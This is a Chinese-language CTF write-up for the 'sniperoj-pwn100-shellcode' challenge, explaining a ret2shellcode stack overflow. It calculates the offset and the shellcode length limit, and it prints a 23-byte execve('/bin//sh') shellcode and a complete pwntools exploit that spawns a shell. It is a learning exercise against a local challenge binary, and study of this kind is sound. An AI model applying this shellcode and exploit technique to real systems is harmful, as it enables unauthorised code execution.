T4 ret2shellcode 2 (栈写入)
2023-01-15WP
sniperoj-pwn100-shellcode
考点:栈溢出 shellcode
0x01
file ,checksec检查保护机制
开启了PIE 地址变换
0x02
IDA中看看源码
发现已经有输出了buf的地址,因此随机化地址便可以进行绕过
继续分析发现read函数读入0x40字节,而buf分配的空间才0x10字节,存在栈溢出
打开string window,没有system和/bin/sh,应该是要写入shellcode了
0x03
先看看我们的空间能不能写下shellcode这里main函数里声明的buf只有0x10即16字节,属于局部变量,空间分配在栈上
gdb动态调试,(其实IDA能看出来,就是不确定对不对就是了)
我们计算buf的偏移量为rbp - rsp = 0x7fffde3d2820 - 0x7fffde3d2810 = 10,再加上rbp 8字节为0x18即24字节
而我们用shellcraft生成的shellcode时44字节的,显然已经超过了
于是我们想找一个长度较小的shellcode来写入,但是由于某些我还没搞很懂的原因,我们必须要将把shellcode放在返回
地址的后面
那放在后面的话是不是44字节的shellcode就可以使用了呢?其实也不行,要注意到read函数是读取0x40字节的,这就使得读取的字符串长度有一定的限制。这0x40字节的数据,既要包括填充的垃圾数据,也要包括shellcode的返回地址和shellcode的内容,我们还得计算一下允许的shellcode的长度
0x40 - ( 0x10 + 8 ) - 8 = 32
(0x10+8)为造成溢出填充的垃圾数据,后面8为是shellcode地址的长度,所以构建的shllcode必须在32以内
之前使用的shellcraft.sh()生成的shellcode有44字节,在这里只有32字节,因此并不适用
shellcode=”\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05”
一个找shellcode的网站
https://www.exploit-db.com/shellcodes
http://shell-storm.org/shellcode/
这个shellcode只有23个字节,短小精悍,适合放在栈中去执行
写exp (发现一个地方:就是正常python代码不能在开头留空格)
from pwn import *
p = process('./shellcode')
p.recvuntil('[')
addr = p.recvuntil(']', drop=True)
p.recvuntil('Now give me your answer')
shellcode="\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05"
p.sendline(b'a'*24 + p64(int(addr,16)+32) + shellcode)
p.interactive()
这里我们只知道一个确定的buf的addr,shellcode的地址要从buf的地址推出来,也就是int(addr,16)+32
0x04
为什么不可以找一个长度小于24的shellcode直接写入buf中呢?而非要先填充buf再返回至写shellcode的地方呢?
在网上找到一个解释不知道对不对
因为其本身是有push指令的,如果我们把shellcode放在返回地址的前面,在程序leave的时候会破坏shellcode,所以我们将其放在后面